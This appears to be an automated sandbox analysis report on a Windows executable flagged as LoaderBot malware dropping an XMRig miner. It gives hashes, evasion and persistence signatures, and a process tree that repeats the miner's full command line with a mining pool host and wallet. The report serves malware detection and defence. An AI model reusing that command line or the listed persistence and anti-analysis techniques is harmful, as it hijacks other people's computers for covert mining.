Analysis

  • max time kernel
    140s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20231020-en
  • resource tags

    arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
  • submitted
    22-10-2023 05:08

General

  • Target

    3dc878162103b50dca3581fd96e3acef2b0b5ab6ef94db7ec459749de980dfdc.exe

  • Size

    3.4MB

  • MD5

    65af1033a01110ec64468bacbe3a7607

  • SHA1

    9d1f8c17ce63803245c02a0e679ccde3fafcd48a

  • SHA256

    2531116b30534eb043a27f83fb4abdec24d212cf58673c117850256510f21264

  • SHA512

    9cd3932957dbf748793b9529e1f051532503c4cdef81f67cf86679b8415b92f90fbcae6f2473fb6c125de570dca0e501d11fca37ce4a9b8f554c8e22db322e54

  • SSDEEP

    98304:xWoz95vq28HVaKCJj1z2ge+u/3qXuD5OxBBkyWBh:oQZyahJ4g3uPIuFKayu

Malware Config

Signatures

  • LoaderBot

    LoaderBot is a loader written in .NET downloading and executing miners.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • LoaderBot executable 1 IoCs
  • XMRig Miner payload 5 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 1 IoCs
  • Themida packer 1 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3dc878162103b50dca3581fd96e3acef2b0b5ab6ef94db7ec459749de980dfdc.exe
    "C:\Users\Admin\AppData\Local\Temp\3dc878162103b50dca3581fd96e3acef2b0b5ab6ef94db7ec459749de980dfdc.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Drops startup file
    • Loads dropped DLL
    • Adds Run key to start application
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: RenamesItself
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1672
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 42K92y1uNN7PxEp57QZPiLQogD8pGGRjWQnqEemCTsXMSnqrhagsVujaeBc38hqrX88YL8Wh9pNQHRzTN7GBw8SqQkGBwg7 -p x -k -v=0 --donate-level=1 -t 4
      2⤵
      • Executes dropped EXE
      PID:2740
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 42K92y1uNN7PxEp57QZPiLQogD8pGGRjWQnqEemCTsXMSnqrhagsVujaeBc38hqrX88YL8Wh9pNQHRzTN7GBw8SqQkGBwg7 -p x -k -v=0 --donate-level=1 -t 4
      2⤵
      • Executes dropped EXE
      PID:1904
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 42K92y1uNN7PxEp57QZPiLQogD8pGGRjWQnqEemCTsXMSnqrhagsVujaeBc38hqrX88YL8Wh9pNQHRzTN7GBw8SqQkGBwg7 -p x -k -v=0 --donate-level=1 -t 4
      2⤵
      • Executes dropped EXE
      PID:808
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 42K92y1uNN7PxEp57QZPiLQogD8pGGRjWQnqEemCTsXMSnqrhagsVujaeBc38hqrX88YL8Wh9pNQHRzTN7GBw8SqQkGBwg7 -p x -k -v=0 --donate-level=1 -t 4
      2⤵
      • Executes dropped EXE
      PID:848
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 42K92y1uNN7PxEp57QZPiLQogD8pGGRjWQnqEemCTsXMSnqrhagsVujaeBc38hqrX88YL8Wh9pNQHRzTN7GBw8SqQkGBwg7 -p x -k -v=0 --donate-level=1 -t 4
      2⤵
      • Executes dropped EXE
      PID:964

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

    Filesize

    3.9MB

    MD5

    02569a7a91a71133d4a1023bf32aa6f4

    SHA1

    0f16bcb3f3f085d3d3be912195558e9f9680d574

    SHA256

    8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

    SHA512

    534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

    Filesize

    3.9MB

    MD5

    02569a7a91a71133d4a1023bf32aa6f4

    SHA1

    0f16bcb3f3f085d3d3be912195558e9f9680d574

    SHA256

    8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

    SHA512

    534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

    Filesize

    3.9MB

    MD5

    02569a7a91a71133d4a1023bf32aa6f4

    SHA1

    0f16bcb3f3f085d3d3be912195558e9f9680d574

    SHA256

    8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

    SHA512

    534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

    Filesize

    3.9MB

    MD5

    02569a7a91a71133d4a1023bf32aa6f4

    SHA1

    0f16bcb3f3f085d3d3be912195558e9f9680d574

    SHA256

    8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

    SHA512

    534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

    Filesize

    3.9MB

    MD5

    02569a7a91a71133d4a1023bf32aa6f4

    SHA1

    0f16bcb3f3f085d3d3be912195558e9f9680d574

    SHA256

    8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

    SHA512

    534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

    Filesize

    3.9MB

    MD5

    02569a7a91a71133d4a1023bf32aa6f4

    SHA1

    0f16bcb3f3f085d3d3be912195558e9f9680d574

    SHA256

    8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

    SHA512

    534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

  • \Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

    Filesize

    3.9MB

    MD5

    02569a7a91a71133d4a1023bf32aa6f4

    SHA1

    0f16bcb3f3f085d3d3be912195558e9f9680d574

    SHA256

    8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

    SHA512

    534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

  • memory/808-60-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/808-59-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/848-65-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/848-66-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/964-70-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/964-75-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/1672-14-0x0000000076FB0000-0x00000000770C0000-memory.dmp

    Filesize

    1.1MB

  • memory/1672-39-0x0000000005320000-0x0000000005360000-memory.dmp

    Filesize

    256KB

  • memory/1672-15-0x0000000076FB0000-0x00000000770C0000-memory.dmp

    Filesize

    1.1MB

  • memory/1672-16-0x0000000076FB0000-0x00000000770C0000-memory.dmp

    Filesize

    1.1MB

  • memory/1672-17-0x0000000076FB0000-0x00000000770C0000-memory.dmp

    Filesize

    1.1MB

  • memory/1672-18-0x00000000774D0000-0x00000000774D2000-memory.dmp

    Filesize

    8KB

  • memory/1672-22-0x00000000743D0000-0x0000000074ABE000-memory.dmp

    Filesize

    6.9MB

  • memory/1672-23-0x0000000000B20000-0x0000000001554000-memory.dmp

    Filesize

    10.2MB

  • memory/1672-25-0x0000000000B20000-0x0000000001554000-memory.dmp

    Filesize

    10.2MB

  • memory/1672-26-0x0000000076FB0000-0x00000000770C0000-memory.dmp

    Filesize

    1.1MB

  • memory/1672-27-0x0000000076FB0000-0x00000000770C0000-memory.dmp

    Filesize

    1.1MB

  • memory/1672-29-0x0000000076FB0000-0x00000000770C0000-memory.dmp

    Filesize

    1.1MB

  • memory/1672-30-0x0000000076FB0000-0x00000000770C0000-memory.dmp

    Filesize

    1.1MB

  • memory/1672-28-0x0000000076CA0000-0x0000000076CE7000-memory.dmp

    Filesize

    284KB

  • memory/1672-31-0x0000000076FB0000-0x00000000770C0000-memory.dmp

    Filesize

    1.1MB

  • memory/1672-32-0x0000000076FB0000-0x00000000770C0000-memory.dmp

    Filesize

    1.1MB

  • memory/1672-33-0x0000000076FB0000-0x00000000770C0000-memory.dmp

    Filesize

    1.1MB

  • memory/1672-34-0x0000000076FB0000-0x00000000770C0000-memory.dmp

    Filesize

    1.1MB

  • memory/1672-35-0x0000000076FB0000-0x00000000770C0000-memory.dmp

    Filesize

    1.1MB

  • memory/1672-36-0x0000000076FB0000-0x00000000770C0000-memory.dmp

    Filesize

    1.1MB

  • memory/1672-38-0x0000000076FB0000-0x00000000770C0000-memory.dmp

    Filesize

    1.1MB

  • memory/1672-0-0x0000000000B20000-0x0000000001554000-memory.dmp

    Filesize

    10.2MB

  • memory/1672-13-0x0000000076FB0000-0x00000000770C0000-memory.dmp

    Filesize

    1.1MB

  • memory/1672-11-0x0000000076FB0000-0x00000000770C0000-memory.dmp

    Filesize

    1.1MB

  • memory/1672-44-0x0000000006C00000-0x0000000007775000-memory.dmp

    Filesize

    11.5MB

  • memory/1672-1-0x0000000076FB0000-0x00000000770C0000-memory.dmp

    Filesize

    1.1MB

  • memory/1672-47-0x00000000743D0000-0x0000000074ABE000-memory.dmp

    Filesize

    6.9MB

  • memory/1672-73-0x0000000006C00000-0x0000000007775000-memory.dmp

    Filesize

    11.5MB

  • memory/1672-12-0x0000000076FB0000-0x00000000770C0000-memory.dmp

    Filesize

    1.1MB

  • memory/1672-10-0x0000000076FB0000-0x00000000770C0000-memory.dmp

    Filesize

    1.1MB

  • memory/1672-72-0x0000000005320000-0x0000000005360000-memory.dmp

    Filesize

    256KB

  • memory/1672-2-0x0000000076FB0000-0x00000000770C0000-memory.dmp

    Filesize

    1.1MB

  • memory/1672-8-0x0000000076FB0000-0x00000000770C0000-memory.dmp

    Filesize

    1.1MB

  • memory/1672-9-0x0000000076FB0000-0x00000000770C0000-memory.dmp

    Filesize

    1.1MB

  • memory/1672-7-0x0000000076FB0000-0x00000000770C0000-memory.dmp

    Filesize

    1.1MB

  • memory/1672-6-0x0000000076FB0000-0x00000000770C0000-memory.dmp

    Filesize

    1.1MB

  • memory/1672-5-0x0000000076CA0000-0x0000000076CE7000-memory.dmp

    Filesize

    284KB

  • memory/1672-4-0x0000000076FB0000-0x00000000770C0000-memory.dmp

    Filesize

    1.1MB

  • memory/1672-3-0x0000000076FB0000-0x00000000770C0000-memory.dmp

    Filesize

    1.1MB

  • memory/1904-54-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/1904-53-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/2740-48-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/2740-74-0x0000000140000000-0x0000000140B75000-memory.dmp

    Filesize

    11.5MB

  • memory/2740-45-0x0000000000470000-0x0000000000484000-memory.dmp

    Filesize

    80KB